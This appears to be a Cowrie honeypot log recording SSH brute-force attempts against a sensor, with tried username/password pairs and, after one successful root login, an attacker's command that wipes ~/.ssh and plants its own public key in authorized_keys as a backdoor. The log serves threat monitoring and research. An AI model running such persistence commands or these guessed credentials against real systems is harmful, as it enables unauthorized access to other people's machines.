{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:33.244767Z","src_ip":"103.234.53.173","session":"e2a716650b36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitoring","password":"monitoring@123456","message":"login attempt [monitoring/monitoring@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:34.128090Z","src_ip":"103.234.53.173","session":"e2a716650b36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:35.342635Z","src_ip":"103.234.53.173","session":"e2a716650b36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58220,"dst_ip":"159.203.135.109","dst_port":22,"session":"715245d79644","protocol":"ssh","message":"New connection: 2.57.122.208:58220 (159.203.135.109:22) [session: 715245d79644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:49.736799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:49.868354Z","src_ip":"2.57.122.208","session":"715245d79644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:49.872384Z","src_ip":"2.57.122.208","session":"715245d79644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:50.649776Z","src_ip":"2.57.122.208","session":"715245d79644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:51.789030Z","src_ip":"2.57.122.208","session":"715245d79644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":33628,"dst_ip":"159.203.135.109","dst_port":22,"session":"aab85db169a4","protocol":"ssh","message":"New connection: 185.196.10.227:33628 (159.203.135.109:22) [session: aab85db169a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:51:15.931867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:51:15.936744Z","src_ip":"185.196.10.227","session":"aab85db169a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:51:16.046219Z","src_ip":"185.196.10.227","session":"aab85db169a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sergey","password":"sergey","message":"login attempt [sergey/sergey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:51:16.516588Z","src_ip":"185.196.10.227","session":"aab85db169a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:51:17.628751Z","src_ip":"185.196.10.227","session":"aab85db169a4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":303,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"180.0","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 180.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:51:42.724997Z","src_ip":"103.253.21.150","session":"01dfd111724a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":180.59664583206177,"message":"Connection lost after 180 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:51:42.733550Z","src_ip":"103.253.21.150","session":"01dfd111724a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":59996,"dst_ip":"159.203.135.109","dst_port":22,"session":"3365454725a9","protocol":"ssh","message":"New connection: 157.10.160.98:59996 (159.203.135.109:22) [session: 3365454725a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:21.201353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:21.205929Z","src_ip":"157.10.160.98","session":"3365454725a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:21.452600Z","src_ip":"157.10.160.98","session":"3365454725a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pgsql","password":"pgsqlpassword","message":"login attempt [pgsql/pgsqlpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:22.475115Z","src_ip":"157.10.160.98","session":"3365454725a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:23.729852Z","src_ip":"157.10.160.98","session":"3365454725a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":40202,"dst_ip":"10.17.0.5","dst_port":22,"session":"07e7427d0c7d","protocol":"ssh","message":"New connection: 195.178.110.218:40202 (10.17.0.5:22) [session: 07e7427d0c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:24.034447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:24.039768Z","src_ip":"195.178.110.218","session":"07e7427d0c7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:24.119797Z","src_ip":"195.178.110.218","session":"07e7427d0c7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:24.437902Z","src_ip":"195.178.110.218","session":"07e7427d0c7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:25.519980Z","src_ip":"195.178.110.218","session":"07e7427d0c7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":46702,"dst_ip":"159.203.135.109","dst_port":22,"session":"31c583db67fb","protocol":"ssh","message":"New connection: 103.234.53.173:46702 (159.203.135.109:22) [session: 31c583db67fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:45.563679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:45.568081Z","src_ip":"103.234.53.173","session":"31c583db67fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:45.782455Z","src_ip":"103.234.53.173","session":"31c583db67fb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"hahaha@123","message":"login attempt [root/hahaha@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:46.674743Z","src_ip":"103.234.53.173","session":"31c583db67fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":38752,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f763aa32823","protocol":"ssh","message":"New connection: 92.118.39.92:38752 (159.203.135.109:22) [session: 2f763aa32823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:46.966143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:47.193806Z","src_ip":"92.118.39.92","session":"2f763aa32823","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:47.237346Z","src_ip":"103.234.53.173","session":"31c583db67fb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:47.240468Z","src_ip":"103.234.53.173","session":"31c583db67fb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:47.243903Z","src_ip":"103.234.53.173","session":"31c583db67fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:47.292853Z","src_ip":"92.118.39.92","session":"2f763aa32823","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:47.462454Z","src_ip":"103.234.53.173","session":"31c583db67fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:47.591094Z","src_ip":"92.118.39.92","session":"2f763aa32823","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:47.931435Z","src_ip":"103.234.53.173","session":"31c583db67fb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:47.934711Z","src_ip":"103.234.53.173","session":"31c583db67fb","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:48.154743Z","src_ip":"103.234.53.173","session":"31c583db67fb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:48.158263Z","src_ip":"103.234.53.173","session":"31c583db67fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":47478,"dst_ip":"159.203.135.109","dst_port":22,"session":"1aa3466ba0f2","protocol":"ssh","message":"New connection: 103.234.53.173:47478 (159.203.135.109:22) [session: 1aa3466ba0f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:48.354786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:52:48.359238Z","src_ip":"103.234.53.173","session":"1aa3466ba0f2","protocol":"ssh"}
